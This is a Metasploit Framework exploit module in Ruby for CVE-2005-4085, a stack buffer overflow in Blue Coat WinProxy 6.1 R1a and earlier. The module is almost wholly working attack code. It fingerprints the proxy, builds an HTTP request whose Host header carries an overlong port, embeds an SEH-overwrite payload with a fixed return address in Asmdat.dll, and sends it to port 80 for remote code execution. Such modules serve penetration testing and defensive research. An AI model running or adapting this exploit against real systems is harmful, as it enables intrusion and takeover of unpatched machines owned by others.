Blue Coat WinProxy Host Header Overflow



##

# $Id: bluecoat_winproxy_host.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Blue Coat WinProxy Host Header Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in the Blue Coat Systems WinProxy
                service by sending a long port value for the Host header in a HTTP
                request.
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9797 $',
            'References'     =>
                [
                    ['CVE', '2005-4085'],
                    ['OSVDB', '22238'],
                    ['BID', '16147'],
                    ['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 600,
                    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Jan 5 2005',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(80)
            ], self.class)

    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")

        sploit  = "GET / HTTP/1.1" + "\r\n"
        sploit += "Host: 127.0.0.1:"
        sploit += rand_text_english(31, payload_badchars)
        seh  = generate_seh_payload(target.ret)
        sploit[23, seh.length] = seh
        sploit += "\r\n\r\n"

        sock.put(sploit)
        sock.get_once(-1, 3)

        handler
        disconnect
    end

end